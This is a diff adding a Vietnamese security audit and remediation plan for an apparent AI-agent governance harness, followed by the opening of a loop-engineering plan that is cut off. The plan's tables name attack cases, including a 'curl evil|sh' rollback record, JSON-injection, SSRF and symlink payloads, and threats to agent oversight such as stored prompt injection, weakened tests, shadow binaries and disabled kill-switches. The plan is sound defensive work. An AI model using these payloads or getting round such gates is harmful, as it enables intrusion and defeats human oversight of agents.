b/docs/plans/CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md @@ -0,0 +1,255 @@ +# KẾ HOẠCH 16 — Security Audit & Remediation (core harness .sh/.py) + +> Status 2026-07-07: **🟢 remediation P0/P1/P2 phần lớn ĐÃ thực thi** (24 SEC suite, +> **118 check fail-able, 0 fail** trong WSL, đã nối `ci-harness-gate.sh`). Phần dưới +> vẫn giữ nguyên kết quả audit đối kháng + kế hoạch vá; các mục còn `📋 planned` là +> hạ tầng/process lớn (multi-tenant, SCA/ký workflow, signed commits, stored-injection +> scan, trusted-time/attestation ngoài). Mỗi task đã làm có test đối kháng fail-able. +> Bất biến: giữ core harness không tụt; verify trong **WSL** (msys + Python Windows lệch path). +> +> Nguồn: pass-1 (4 file rủi ro cao + 8 script governance tự viết) + pass-2 (subagent +> audit ~30 file còn lại). Nhãn trạng thái: xem `CASAN_BACKLOG_STATUS.md`. + +## 0a. Trạng thái remediation (cập nhật 2026-07-07) + +| Nhóm | Task | Trạng thái | Ghi chú | +|---|---|:--:|---| +| **P0** | SEC-01…06 | ✅ done+test | unsigned=FAIL · KMS-anchor · rollback no-`bash -c` · action-gate fail-closed · JSON-safe · CP/governance ký head | +| **P1** | SEC-07, 08, 09, 10 | ✅ done+test | approval JWT · pii fail-closed · input-cap/fail-closed · identity không spoof | +| **P1** | SEC-11 (enforce-by-default) | ✅ **gộp vào SEC-17** | `CASAN_PROFILE=prod` bật enforce mặc định (kill-switch/audit/CP), explicit `=0` vẫn thắng | +| **P2** | SEC-12, 13, 15 | ✅ done+test | drift-invariant · SSRF allowlist · low-cluster (typosquat/tool-exec/validate-input) | +| **P2** | SEC-14 (model-digest env-override) | ✅ done+test | prod/`CASAN_MODEL_DIGEST_STRICT=1` bỏ tin `CASAN_MODEL_DIGEST`; forged override → không OK (`phase-sec14` 5/0) | +| **Arch** | SEC-16, 17, 18, 19, 20, 21 | ✅ done+test | bundle-integrity · prod-profile · test-integrity · atomic-store · toolchain-pin · model/run budget | +| **X-layer** | SEC-27, 28, 29, 30 | ✅ done+test | log control-char strip · path-traversal · audit fail-closed · approval-replay nonce | +| **X-01** | SEC-26 | ✅ done+test | quét golden/corpus/traceability-map/requirement bằng H4 khi nạp prompt; stored-injection → BLOCK, missing source → fail-closed (`phase-sec26` 5/0) | +| **Arch** | SEC-22 (ARCH-06/08) | ✅ done+test | **trusted-time cho `exp`** (clock-skew vô hiệu, file lỗi→fail-closed) + **tag proposal nguồn-không-tin** (self-improve: telemetry chưa ký→untrusted; apply untrusted ở prod/strict→BLOCK); `phase-sec22` 9/0. ARCH-10 (attestation ngoài) là track ngoài như TIER-2 | +| **MT** | SEC-23 | � done (offline) — chỉ còn 23.11 Vault (🔌) | Phase 1–5 offline xong: tenant-store+guard · per-tenant CP/audit/telemetry · RBAC data-boundary + harness wiring · tenant kill-switch + quota · **ký registry** (MT-04, unsigned/tampered/forged→refuse) · **crypt at-rest per-tenant local-key** (MT-02, B không đọc plaintext A). 5 suite `phase-sec23-*` = 36/0. 23.11 (Vault Transit non-exportable) cần infra — xem §2d | +| **SC** | SEC-24 | � partial (offline) | **image digest-pin lint** (chặn `:latest`/floating tag) + **ký/verify workflow** CI (unsigned/tampered/forged→refuse); `phase-sec24` 8/0. Còn live CVE/OSV scan + image scan thật (cần infra) | +| **SC** | SEC-25 | 🟡 partial (offline) | **artifact attestation**: ký hash build + verify **tested==deployed** (swap/forged/unsigned→refuse); `phase-sec25` 5/0. Còn signed-commit enrollment + SLSA chain đầy đủ (cần CI/key) | + +> **Đọc tiếp:** bảng findings + kế hoạch chi tiết bên dưới giữ nguyên để tra cứu. +> Cột "Trạng thái" ở trên là nguồn nhanh; số check chi tiết xem `CASAN_HARDENING_STATUS.md`. + +## 0. Root cause hệ thống (ưu tiên cao nhất) + +Toàn bộ lớp **tamper-evidence** (audit chain, tool-call chain, telemetry integrity, +evidence pack, worm ledger, control-plane audit) dựa trên: +1. **Khoá ký local tự sinh, đặt CẠNH dữ liệu** nó bảo vệ (pubkey tái tạo mỗi lần chạy) → + ai ghi được log thì ký lại được. +2. **Hash chain SHA-256 không khoá (unkeyed)** → tính lại toàn bộ được. +3. **Verifier coi "thiếu chữ ký = `anchor=unsigned` = VALID (exit 0)"** → xoá chữ ký là + qua verify. + +→ Kẻ tấn công có quyền ghi file (chính actor mà thiết kế muốn phòng) **sửa log + +tính lại chain + xoá chữ ký** ⇒ vượt mọi verify. Cộng với **JSON-injection qua +`printf`** và **`bash -c` trên lệnh lưu trong log chưa ký (RCE)**, các đảm bảo toàn +vẹn hiện **bị vô hiệu bởi chính actor local**. + +**Điều kiện thoát:** neo chữ ký vào **KMS/HSM ngoài** (Vault Transit đã có +`vault-kms.sh`) + **"unsigned" = FAIL** ở mọi enforced mode. + +--- + +## 1. Bảng findings (hợp nhất pass-1 + pass-2) + +### 🔴 High +| ID | File | Attack case | Fix | +|---|---|---|---| +| H-01 | verify-audit-chain.sh · verify-tool-audit.sh · telemetry-integrity.sh · evidence-pack.sh | Thiếu `*.sig`/pubkey ⇒ `anchor=unsigned` exit 0. Sửa log → tính lại chain → xoá sig → PASS | Enforced mode: thiếu chữ ký ⇒ exit≠0; `anchor=unsigned` = FAIL | +| H-02 | tool-audit-lib.sh · sign-audit-head.sh · sign-policy-bundle.sh | Khoá private tự sinh cạnh dữ liệu, pubkey tái tạo mỗi run → ai ghi log thì ký lại | KMS/HSM (Vault Transit); pubkey provision out-of-band; bỏ auto-gen ở prod | +| H-03 | rollback-manager.sh | `execute` chạy `bash -c "$rollback_command"` đọc từ log **chưa ký** → **RCE** | Lưu restore action dạng **argv có cấu trúc**, không `bash -c`; ký + verify tx log | +| H-04 | governance-check.sh | `CASAN_APPROVER`/`CASAN_ACTOR`/`ACTION_NAME` nội suy raw qua `printf` vào JSON → `"`+newline **chèn bản ghi audit giả** (approval giả) | Xuất JSON qua `python json.dumps`/`jq`; escape/validate field | +| H-05 | action-gate.sh | Không check RC của Python; output rỗng/crash rơi vào `*) ALLOW` → **fail-open** | Bắt RC; mặc định **DENY** khi không phải ALLOW tường minh | +| H-06 | control-plane-settings.py · governance-report.py *(tự viết)* | Audit hash-chain **không ký** → file-writer tính lại chain → verify PASS; governance-report báo CERTIFIED giả | Ký head qua `sign-audit-head.sh`/KMS; governance-report yêu cầu chữ ký hợp lệ | + +### 🟠 Medium +| ID | File | Attack case | Fix | +|---|---|---|---| +| M-01 | worm-ledger.py | Chain unsigned recomputable; `json.loads` không guard → malformed line crash | Neo KMS/Object-Lock; try/except fail-closed | +| M-02 | casan-harness.sh | Tool-output injection scan mặc định **warn**; kill-switch enforce **opt-in** → stop khẩn = no-op mặc định | Mặc định **block** ở non-dev; kill-switch enforce mặc định on | +| M-03 | model-digest-check.sh | `current_digest()` ưu tiên env `CASAN_MODEL_DIGEST` → tráo model + set env = qua; `pin` không ký | Bỏ env override ở enforced mode; ký pin file | +| M-04 | kill-switch.sh | `clear` **không cần authz**; state là file `rm` được | Yêu cầu approval ký để clear; state ở store được bảo vệ | +| M-05 | tool-registry-gate.sh · agent-metrics.sh | Authz theo env `CASAN_AGENT` spoof được; agent-metrics nội suy raw vào JSON | Bind identity qua token verify; JSON qua serializer | +| M-06 | pii-mask.py | Thiếu rules file / rule regex hỏng → **emit nội dung KHÔNG mask** (fail-open) | Fail-closed: từ chối/emit rỗng khi rules lỗi | +| M-07 | sandbox-run.sh | Chỉ chặn redirection `>`/`>>`; `tee /etc/x`, `cp .. /abs`, `dd of=` lọt | Cách ly filesystem thật (container/ns/ro-mount) | +| M-08 | supply-chain-gate.sh · self-improve.py · control-plane-settings.py *(tự viết)* | Approval = bất kỳ chuỗi non-empty | Verify assertion ký (nối `approval-verify.sh` JWT) | +| M-09 | provider-usage-fetch.sh | `API_URL` arg fetch bằng `curl -f` không validate scheme/host → **SSRF** (internal/`file://`) | Allowlist scheme/host; chặn internal/link-local | +| M-10 | security-check.sh · drift-detect.sh · context-compress.py *(tự viết)* | Không cap input size → **DoS**; drift `SequenceMatcher` O(n²); non-UTF8/thiếu file → **crash** thay vì fail-closed | Cap size (vd 2MB); `errors="replace"` + try/except → verdict block | +| M-11 | evidence-pack-build.py | Certify tin RC verifier do env truyền (`CASAN_EP_*`) → caller giả CERTIFIED (giảm nhẹ vì wrapper chạy verifier thật) | Chạy verifier bên trong build hoặc yêu cầu output verifier có ký | + +### 🟡 Low (rút gọn) +drift-detect **coarse** (chỉ char-similarity → **lật phủ định lọt**, không must-keep) · rai-guard classify bypass bằng obfuscation (`a[at]b`) · harness-preflight enforce opt-in · secrets-scan không quét git history · supply-chain-scan typosquat chỉ distance=1 · vault-kms ví dụ dùng `http://` · dashboard-server no-auth + bind `0.0.0.0` env · approval-verify JWKS URL SSRF nếu set từ nguồn không tin · incident.sh fallback printf JSON · circuit-breaker parse-error reset counter · update-agent-context sed `\|` injection · validate-tool-input schema nông 1 tầng · tool-exec no-timeout nếu thiếu backend. + +--- + +## 2. Kế hoạch remediation (theo ưu tiên — mỗi task có verify fail-able) + +> Nguyên tắc: mỗi fix phải kèm **test đối kháng fail-able** trong `.specify/tests/`, +> nối `ci-harness-gate.sh`, giữ 280/0. Verify trong WSL. + +### P0 — chặn đứng "gãy" & bypass toàn vẹn +| Task | Nội dung | Verify (test mới/mở rộng) | +|---|---|---| +| SEC-01 | **"unsigned = FAIL" ở enforced mode** cho verify-audit-chain / verify-tool-audit / telemetry-integrity / evidence-pack (thêm `CASAN_VERIFY_STRICT=1`) | Xoá `*.sig` → verify exit≠0; tamper+recompute+xoá sig → vẫn FAIL | +| SEC-02 | **KMS-anchor** cho mọi head (audit/tool/telemetry/evidence/control-plane) qua `vault-kms.sh`; bỏ auto-gen key local ở enforced mode | Ký bằng KMS, verify bằng pubkey KMS; sửa log → verify FAIL | +| SEC-03 | **rollback-manager**: bỏ `bash -c`, dùng argv có cấu trúc + verify tx log đã ký | Append record `curl evil|sh` → `execute` REFUSE | +| SEC-04 | **action-gate fail-closed**: bắt RC Python, mặc định DENY | Ép classifier crash → gate DENY (fail-able) | +| SEC-05 | **JSON-safe writers**: governance-check / agent-metrics / incident-fallback xuất JSON qua serializer | Field `"`+newline → không có bản ghi giả thứ 2 | +| SEC-06 | **control-plane/governance-report ký head** (H-06) | Tamper store + recompute → governance-report NOT_CERTIFIED | + +### P1 — authz, fail-open, DoS +| Task | Nội dung | Verify | +|---|---|---| +| SEC-07 | **Approval thật**: supply-chain-gate / self-improve / control-plane / kill-switch.clear verify JWT qua `approval-verify.sh` | `--approval x` (chuỗi bừa) → DENY; JWT hợp lệ → cho | +| SEC-08 | **pii-mask fail-closed** khi rules lỗi/regex hỏng | Thiếu rules → refuse (không emit unmasked) | +| SEC-09 | **Cap input size + fail-closed đọc** (security-check/drift-detect/context-compress) | Input > cap → block verdict; non-UTF8 → block, không traceback | +| SEC-10 | **Identity không spoof**: tool-registry-gate/agent-metrics bind token thay `CASAN_AGENT` env | Spoof env → không lên quyền | +| SEC-11 | **Enforce mặc định**: casan-harness tool-output-scan=block, kill-switch enforce on; harness-preflight bật mặc định ở prod profile | Engaged kill-switch → harness refuse mặc định | + +### P2 — chiều sâu & làm cứng +| Task | Nội dung | Verify | +|---|---|---| +| SEC-12 | **drift-detect nâng cấp**: must-keep invariants + cảnh báo lật phủ định + fail-closed | Golden↔candidate lật "không" → drift FAIL dù similarity cao | +| SEC-13 | **SSRF allowlist**: provider-usage-fetch / approval-verify JWKS / dashboard bind | URL internal/`file://` → reject | +| SEC-14 | **sandbox thật** (container/ns/ro-mount) thay pattern-block; model-digest bỏ env override | `tee /etc/x` bị chặn; tráo model + env → digest FAIL | +| SEC-15 | Low cluster: secrets git-history, typosquat threshold, vault https, sed delimiter, validate-tool-input đệ quy, tool-exec no-timeout fail-closed | Mỗi mục 1 test nhỏ | + +--- + +## 2b. Điểm yếu KIẾN TRÚC / cross-cutting (ngoài per-file — nguy hiểm hơn) + +> Đây là các điểm yếu ở tầng mô hình tin cậy, làm vô hiệu cả những gate "đã PASS". +> Kế hoạch, chưa fix. + +| ID | Điểm yếu | Attack case | Fix (kế hoạch) | +|---|---|---|---| +| ARCH-01 | **Gate & policy không được bảo vệ toàn vẹn** | Kẻ ghi được workspace **sửa thẳng `security-check.sh` / `prompt-filter.yaml` / `thresholds.yaml` / `model-digest.pin` / `reviewers.registry`** → bypass tuyệt đối (sửa gate/policy chứ không sửa input). | Ký + verify **bundle harness+policy** bằng KMS ngoài; harness từ chối chạy nếu self-hash ≠ signed manifest (không dùng khoá local). | +| ARCH-02 | **Test tự tham chiếu** | Test nằm cùng repo attacker sửa được → **xoá case đối kháng / hạ số check** mà gate vẫn "xanh 280/0". Con số test không chứng minh gì nếu test bị làm yếu. | Test-integrity manifest (hash + count mỗi suite) ký ngoài; CI FAIL nếu số check tụt hoặc hash đổi ngoài dự kiến. | +| ARCH-03 | **Vi phạm secure-by-default** | Hầu hết control mạnh là **opt-in env**: `CASAN_SECURITY_STRICT`, `CASAN_PREFLIGHT`, `CASAN_KILLSWITCH_ENFORCE`, `CASAN_VERIFY_STRICT`, digest mode. Không set = **tắt**. Operator lười / attacker chỉ cần không bật. | `CASAN_PROFILE=prod` bật **tất cả** enforce mặc định; ở prod, thiếu flag ⇒ enforce (không phải permissive). | +| ARCH-04 | **Tin PATH / binary** | `python`/`grep`/`sha256sum`/`openssl`/`uuidgen` lấy từ PATH; **shadow binary** trên PATH (vd `grep` giả luôn trả no-match) → điều khiển verdict gate. | Pin absolute path cho binary tối thiểu; verify tồn tại + (tùy) hash; fail-closed nếu thiếu. | +| ARCH-05 | **TOCTOU / không atomic, không lock** | `control-plane-settings` (load→modify→save) và audit append **không khoá/không atomic** → 2 run song song **mất write / vỡ hash-chain**; kill-switch check→act là race. | `flock` + ghi atomic (tmp + rename); kill-switch kiểm ngay trước hành động trong cùng critical section. | +| ARCH-06 | **Tin đồng hồ hệ thống** | JWT `exp` / approval dựa system clock; **skew/chỉnh clock** trên host → chấp nhận approval hết hạn. | Nguồn thời gian tin cậy (trusted timestamp) cho exp; ghi rõ giả định. | +| ARCH-07 | **DoS khuếch đại qua model** | Semantic classify timeout **180s**/call × nhiều step; model bị làm treo → pipeline đứng lâu. | Giảm timeout hợp lý + global time/cost budget cho mỗi run; hủy sớm. | +| ARCH-08 | **Telemetry poisoning → self-improve** | Log-injection (H-04/M-05) làm hỏng metrics → `self-improve propose` sinh đề xuất theo dữ liệu giả (dù apply cần approval). | Chỉ đọc telemetry đã ký/toàn vẹn; đánh dấu proposal nguồn-không-tin. | +| ARCH-09 | **No-op âm thầm theo nền tảng = fail-open** | Control dựa tool vắng trên nền tảng (đã thấy msys+Python Windows lệch path làm test fail giả) → trên nền tảng thiếu tool, gate **no-op âm thầm**. | `check-prerequisites` fail-closed: thiếu tool bắt buộc ⇒ refuse chạy, không chạy nửa vời. | +| ARCH-10 | **Tin tuần hoàn của evidence** | Evidence/governance-report chứng minh **nội bộ nhất quán**, không chứng minh run **trung thực** (inputs tự khai). | Cần attestation/eval độc lập bên ngoài (nhiều model / bên thứ 3) cho claim mạnh. | + +### Remediation bổ sung (P0/P1 — plan) +| Task | Map | Verify | +|---|---|---| +| SEC-16 | ARCH-01 ký+verify harness/policy bundle (KMS) | Sửa 1 byte `security-check.sh`/`prompt-filter.yaml` → harness refuse | +| SEC-17 | ARCH-03 `CASAN_PROFILE=prod` enforce-by-default toàn bộ | prod profile: thiếu flag vẫn strict; test 1 control off→vẫn enforce | +| SEC-18 | ARCH-02 test-integrity manifest ký + CI check count/hash | Xoá 1 fail-able check → CI FAIL "test coverage dropped" | +| SEC-19 | ARCH-05 flock + atomic write cho store/audit | 2 `set` song song → không mất write, chain còn verify | +| SEC-20 | ARCH-04 pin binary path + prerequisites fail-closed (ARCH-09) | Shadow `grep` giả / thiếu tool → refuse, không no-op | +| SEC-21 | ARCH-07 giảm timeout + global run budget | Model treo → hủy sớm, không đứng pipeline | +| SEC-22 | ARCH-06/08/10 (ghi giả định + đánh dấu; attestation ngoài là P2) | trusted-time cho exp; proposal nguồn-không-tin gắn nhãn | + +## 2c. Lớp threat MỞ RỘNG (multi-tenant · supply-chain · second-order) + +> Các lớp mới ngoài per-file + kiến trúc. Kế hoạch, chưa fix. + +### Multi-tenant trust model +| ID | Điểm yếu | Attack case | Fix (plan) | +|---|---|---|---| +| MT-01 | State là **file chung không phân vùng** (audit/control-plane store/telemetry/kill-switch/logs global) | Script dự án A **đọc/sửa thẳng file** của B → bỏ qua RBAC (RBAC chỉ gác API, không gác truy cập file) | Phân vùng state theo tenant + quyền FS; RBAC ở cả tầng dữ liệu, không chỉ API | +| MT-02 | Không mã hoá per-tenant | Admin/tenant A xem audit/telemetry của B | Mã hoá at-rest per-tenant; khoá theo tenant qua KMS | +| MT-03 | Kill-switch/cost/quota **global** | 1 tenant burn budget / engage kill-switch → ảnh hưởng tất cả (noisy neighbor) | Cost/quota/kill-switch scope theo tenant; cách ly tài nguyên | +| MT-04 | `project-registry.json` **chưa ký** | Tenant giả đăng ký/tráo project khác | Ký registry; verify khi load | + +### Supply-chain của chính harness +| ID | Điểm yếu | Attack case | Fix (plan) | +|---|---|---|---| +| SC-01 | File policy/data unsigned (prompt-filter, pii-rules, redteam-vectors, model-digest.pin, reviewers.registry, thresholds) | Sửa policy = tắt control mà không đụng code | Ký + verify policy bundle (gộp ARCH-01) | +| SC-02 | Binary ngoài PATH không pin/hash (grep/python/openssl/curl/jq) | Shadow binary điều khiển verdict (gộp ARCH-04) | Pin path + verify provenance | +| SC-03 | Model dependency: digest env-override, không SBOM/provenance | Tráo model + set `CASAN_MODEL_DIGEST` (gộp M-03) | Bỏ env-override; model card + provenance (Plan-15) | +| SC-04 | npm/pip deps (backend + control-plane) + prisma engine tải mạng | Dep độc trong lớp governance → RCE | Lockfile + `npm audit`/SCA trong CI; pin engine | +| SC-05 | CI runner + `.gitea/workflows` editable trong repo | Sửa workflow → "green" giả; runner image không pin | Ký workflow/pipeline; pin runner image; tách quyền | +| SC-06 | Base image Docker (backend/frontend/sandbox) không pin/scan | Base image độc | Pin digest + scan image | +| SC-07 | Không ký commit / không provenance | Không chứng minh AI được ai sửa gate | Signed commits + attestation (SLSA-style) | + +### Second-order & lớp khác +| ID | Điểm yếu | Attack case | Fix (plan) | +|---|---|---|---| +| X-01 | **Stored/second-order injection** | Payload trong `golden-runs`/`redteam-corpus`/`traceability-map`/requirement → nạp vào prompt sau (stored-XSS analog); gate chỉ quét input trực tiếp | Quét cả file "vàng"/data nạp vào prompt bằng H4 | +| X-02 | **ANSI/terminal-escape injection** vào log/dashboard | Nội dung attacker viết lại terminal reviewer / giấu dòng audit | Strip/escape control chars khi ghi log & render | +| X-03 | **ReDoS** trên `grep -E`/`re` | Input dựng riêng → backtracking mũ → DoS | Cap size (SEC-09) + timeout regex + tránh pattern nguy hiểm | +| X-04 | **Symlink/path-traversal** trên tham số file | Truyền symlink làm input/output → đọc/ghi path tuỳ ý (TOCTOU) | Resolve realpath + chặn ngoài workspace; `O_NOFOLLOW` | +| X-05 | **Disk-fill DoS** | Nhiều run → audit/trace append đầy đĩa → không ghi được audit → fail-open/crash | Rotation + quota + fail-closed khi không ghi được audit | +| X-06 | **Approval replay** | JWT approval hợp lệ dùng lại trong cửa sổ `exp` | Nonce một-lần + jti blacklist | +| X-07 | **Deploy provenance** | Gate xanh ở CI nhưng artifact deploy ≠ bản test | Ký artifact liên kết tested==deployed | + +### Remediation bổ sung (plan) +| Task | Map | Verify | +|---|---|---| +| SEC-23 | MT-01/02/03/04 phân vùng + mã hoá + scope tenant + ký registry | Run tenant A không đọc/sửa được state B; registry giả → reject | +| SEC-24 | SC-04/05/06 SCA + pin runner/base image + ký workflow | Dep độc/workflow sửa → CI FAIL | +| SEC-25 | SC-07 signed commits + attestation | Commit không ký gate → CI cảnh báo/chặn | +| SEC-26 | X-01 quét golden/corpus/map bằng H4 khi nạp prompt | Payload trong golden → BLOCK | +| SEC-27 | X-02 strip control-char khi ghi/hiển thị log | ANSI escape trong input → log sạch | +| SEC-28 | X-04 realpath + chặn symlink ngoài workspace | Symlink `/etc/passwd` làm input → reject | +| SEC-29 | X-05 log rotation/quota + fail-closed khi audit không ghi được | Đĩa đầy → refuse, không fail-open | +| SEC-30 | X-06 nonce/jti cho approval; X-07 ký artifact | Replay JWT → DENY; artifact ≠ test → block deploy | + +## 2d. SEC-23 — chia bước chi tiết (multi-tenant partition · MT-01..04) + +> **Mục tiêu:** không còn state chung không phân vùng; run của tenant A **không đọc/sửa** +> được state của B (kể cả khi bỏ qua RBAC tầng API bằng cách đụng thẳng file). Task lớn +> (L) ⇒ chia **6 phase, 14 bước nhỏ**, mỗi bước có **test đối kháng fail-able** riêng, nối +> `ci-harness-gate.sh`, giữ core harness không tụt. Verify **WSL**. +> +> **Nguyên tắc:** deny-by-default · secure-by-default ở `CASAN_PROFILE=prod` (thiếu tenant ⇒ +> fail-closed) · RBAC ở **cả tầng dữ liệu** không chỉ API · tái dùng `path-guard.sh` +> (SEC-28), `sign-audit-head.sh`/KMS (SEC-02), atomic+flock (SEC-19). +> +> **Cờ:** 🟦 offline được ngay · 🔌 cần Vault/KMS (skip-aware). + +### Phase 1 — Nền: tenant resolver + guard (🟦) — ✅ done (`tenant-store.sh` + `phase-sec23-tenant-store` 10/0, nối CI) +| Bước | Việc | File | Test (fail-able) | Dep | +|---|---|---|---|---| +| 23.1 | `tenant-store.sh resolve ` → path phân vùng `.specify/state/tenants//…` theo `CASAN_TENANT_ID`; validate id (allowlist charset, chặn `..`/`/`) | mới `tenant-store.sh` | 2 tenant → 2 path khác; id `../evil` → reject | — | +| 23.2 | **Cross-tenant guard**: cho path yêu cầu + tenant hiện tại, từ chối truy cập partition tenant khác (realpath, phải nằm trong tenant-root của mình) | `tenant-store.sh guard` (nối `path-guard.sh`) | tenant A đọc/ghi path của B → DENY | 23.1 | +| 23.3 | Tạo tenant-dir quyền **0700** (owner-only) — OS bổ trợ guard logic | `tenant-store.sh init` | mode dir = 0700 | 23.1 | +| 23.12 | **Secure-by-default**: prod bắt buộc `CASAN_TENANT_ID`; thiếu ⇒ fail-closed (refuse). Dev có default tenant | `tenant-store.sh` | prod thiếu tenant → refuse; dev → default | 23.1 | + +### Phase 2 — Chuyển state chung → per-tenant (🟦) — ✅ done. 23.4/23.5/23.6 (CP settings+audit-chain per-tenant qua `CASAN_TENANT_ID`; telemetry qua `tenant-paths.sh`) + **23.13** (casan-harness source `tenant-paths.sh`; RBAC data-boundary `rbac-check.py` — org-admin A không đụng B). `phase-sec23-state-isolation` 9/0 + `phase-sec23-rbac-tenant` 6/0 +| Bước | Việc | File | Test | Dep | +|---|---|---|---|---| +| 23.4 | **Audit chain per-tenant** (append/verify qua tenant-store) | nối `tool-audit-lib.sh`/`verify-audit-chain.sh` | chain A độc lập; B không đọc/ghi được audit A | 23.2 | +| 23.5 | **Control-plane settings store per-tenant** | nối `control-plane-settings.py` | đổi setting A không ảnh hưởng B | 23.2 | +| 23.6 | **Telemetry/metrics + logs per-tenant** | nối `agent-metrics.sh`/`casan-log.sh` | telemetry A tách khỏi B | 23.2 | +| 23.13 | Wire tenant-store vào `casan-harness.sh` + **RBAC data-layer**: quyết định RBAC còn chặn ranh giới tenant khi truy cập dữ liệu (không chỉ API) | nối `casan-harness.sh`, `rbac-check.py` | action RBAC-hợp-lệ ở A không đụng được dữ liệu B | 23.4, 23.5 | + +### Phase 3 — MT-03 tài nguyên scope theo tenant (🟦) — ✅ done (23.7 tenant kill-switch: A halt không ảnh hưởng B; 23.8 per-tenant cost/quota: chi tiêu A không tính vào budget B; `phase-sec23-scope` 4/0) +| Bước | Việc | File | Test | Dep | +|---|---|---|---|---| +| 23.7 | **Kill-switch scope tenant** (thêm scope `tenant` cạnh project/model/provider/global) | nối `kill-switch.sh`, `casan-harness.sh` | A engage tenant-switch → A refuse, B vẫn chạy | 23.1 | +| 23.8 | **Cost/quota/budget per-tenant** (chống noisy-neighbor) | nối `cost-spike-detect.sh` | A burn budget → A capped, B không ảnh hưởng | 23.1 | + +### Phase 4 — MT-04 ký registry (🟦) — ✅ done (`tenant-registry-verify.sh`: valid→OK; tampered/forged/**unsigned**→refuse fail-closed; `phase-sec23-registry-crypt` 23.9) +| Bước | Việc | File | Test | Dep | +|---|---|---|---|---| +| 23.9 | Ký `project-registry.json`/tenant-registry + verify khi load; unsigned/forged → reject (tái dùng `sign-audit-head.sh`) | mới `tenant-registry-verify.sh` | registry giả/sửa → load DENY | 23.1 | + +### Phase 5 — MT-02 mã hoá at-rest — 🟡 23.10 ✅ done offline (`tenant-crypt.sh`: khoá per-tenant, state A là ciphertext, B không giải mã được; `phase-sec23-registry-crypt` 23.10). **23.11 🔌 còn lại** (Vault Transit non-exportable, cần infra) per-tenant +| Bước | Việc | File | Test | Dep | Cờ | +|---|---|---|---|---|:--:| +| 23.10 | Mã hoá state nhạy cảm (audit/telemetry) at-rest bằng **khoá local per-tenant** (KMS-ready) → admin/tenant A không đọc plaintext của B | mới `tenant-crypt.sh` | audit B trên đĩa là ciphertext; A không giải mã được | 23.4 | 🟦 | +| 23.11 | Khoá per-tenant qua **Vault Transit** (non-exportable) — bản production | nối `vault-kms.sh` | khoá theo tenant, non-exportable (live/skip) | 23.10 | 🔌 | + +### Phase 6 — Nối CI & chốt (🟦) +| Bước | Việc | File | Test | Dep | +|---|---|---|---|---| +| 23.14 | Nối `phase-sec23-*` vào `ci-harness-gate.sh` + cập nhật tổng test (`CASAN_HARDENING_STATUS.md`) + trạng thái (`CASAN_BACKLOG_STATUS.md`, §0a) | `ci-harness-gate.sh` | full SEC xanh WSL; số check không tụt | tất cả 23.x | + +**Thứ tự thực thi đề xuất:** Phase 1 → 2 → 3/4 (song song được) → 5 → 6. Phần **offline (Phase 1–4 + 23.10)** làm ngay không cần infra; chỉ **23.11 (Vault)** là 🔌 skip-aware. +**Gợi ý test files:** `phase-sec23-tenant-store`, `phase-sec23-audit-isolation`, `phase-sec23-killswitch-scope`, `phase-sec23-registry-sign`, `phase-sec23-crypt`. Mỗi suite deterministic, hermetic (temp tenant roots). + +## 3. Ghi chú thực thi cho AI kế tiếp +- **Môi trường verify:** WSL Ubuntu (`wsl.exe -e bash -lc 'cd /mnt/d/... && ...'`); Node bằng Windows Node + `NODE_OPTIONS=--use-system-ca`. +- **Bất biến:** không tụt 280/0; mỗi control mới có test đối kháng fail-able; không hardcode verdict; không bypass. +- **Thứ tự đề xuất:** **ARCH-01/02/03 (SEC-16/17/18) là P0-class** — vì chúng cho phép mọi bypass khác (sửa gate, làm yếu test, tắt enforce). Làm cùng nhóm P0 (SEC-01→06). Rồi P1 (fail-open/DoS/authz + SEC-19/20/21). Rồi P2 (chiều sâu + attestation ngoài). +- **Phạm vi chưa soi (pass sau):** create-new-feature.sh, setup-plan.sh, check-prerequisites.sh, casan-log.sh, model-fallback.sh, provider-cost-lookup.py, telemetry-reconcile.sh, business-kpi-report.sh, artifact-scan.sh, context-validate.sh, benign-fp-report.sh, security-gate.sh (nhóm reporting/scaffolding rủi ro thấp — chưa claim clean). + +--- +_Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (H4/H5/H6 + TIER 2 KMS/WORM) · `CASAN_HARDENING_STATUS.md` (control đã có) · `vault-kms.sh` (KMS anchor cho SEC-02)._ diff --git a/docs/plans/CASAN_PLAN_17_LOOP_ENGINEERING.md b/docs/plans/CASAN_PLAN_17_LOOP_ENGINEERING.md new file mode 100644 index 0000000..4736198 --- /dev/null +++ b/docs/plans/CASAN_PLAN_17_LOOP_ENGINEERING.md @@ -0,0 +1,219 @@ +# KẾ HOẠCH 17 — Loop Engineering / Agentic Loop Governance + +> Status 2026-07-07: **🟢 T1–T6 implemented+tested (offline), 97/0 in WSL, wired into +> CI — all 5 loop primitives + orchestrator.** Governor (T1), Convergence (T2), +> Verify Contract (T3), Trace/Replay (T4 offline slice), Meta-loop (T5), +> Orchestrator `loop-run.sh` (T6, 17.20–17.21) are done as deny-by-default, +> fail-closed harness primitives (`loop-governor.py`, `loop-convergence.py`, +> `loop-gate.py`, `loop-trace.py`, `loop-metaloop.py`, `loop-run.sh` + +> `.specify/config/loop-policy.yaml`/`loop-policy.schema.json` + `loop_common.py`). +> Suites: governor 15/0 · convergence 15/0 · gate 20/0 · trace 16/0 · metaloop 15/0 · +> loop-run 16/0. Meta-loop changes route through the governed CP store +> (versioned + audit + rollback + SoD) and **actually change the governor's ceiling**; +> a loosen above `org_ceiling` is refused (17.19). **Remaining (infra-gated): T4 +> chain KMS-anchor (A7 Vault), T6 Command Center widget 17.22 (C5), live H3-judge.** +> +> Mục tiêu: nâng CASAN từ "governance rời rạc" thành **Agentic +> Loop Governance** — kỹ thuật hoá **vòng lặp agent** (không chỉ prompt). +> +> Nhãn trạng thái: xem legend ở `CASAN_BACKLOG_STATUS.md`. +> Phụ thuộc: **07** (H5 audit chain, H6 AgentOps, C4 approval) · **10** (H3 eval — +> gate mỗi vòng) · **13** (Control Plane — widget Loop + governed loop-policy) · +> **14** (RBAC — nới budget cần org-admin) · **16** (fail-closed, approval JWT thật, +> secure-by-default — Plan-17 PHẢI tuân các bài học này) · **04** (self-improve — +> meta-loop). Bổ trợ **08** (context compaction giữa các vòng). + +--- + +## 1. Bối cảnh — vì sao cần "loops engineering" + +**Prompt engineering** tối ưu **một lần gọi**: câu vào tốt → câu ra tốt. Độ tin cậy +phụ thuộc model + prompt, không có bảo đảm hệ thống. + +**Loops engineering** tối ưu **vòng lặp bao quanh model**: `observe → plan → act → +verify → correct → lặp`, với **điều kiện dừng, gate mỗi vòng, ngân sách, phát hiện +không hội tụ, phục hồi lỗi, 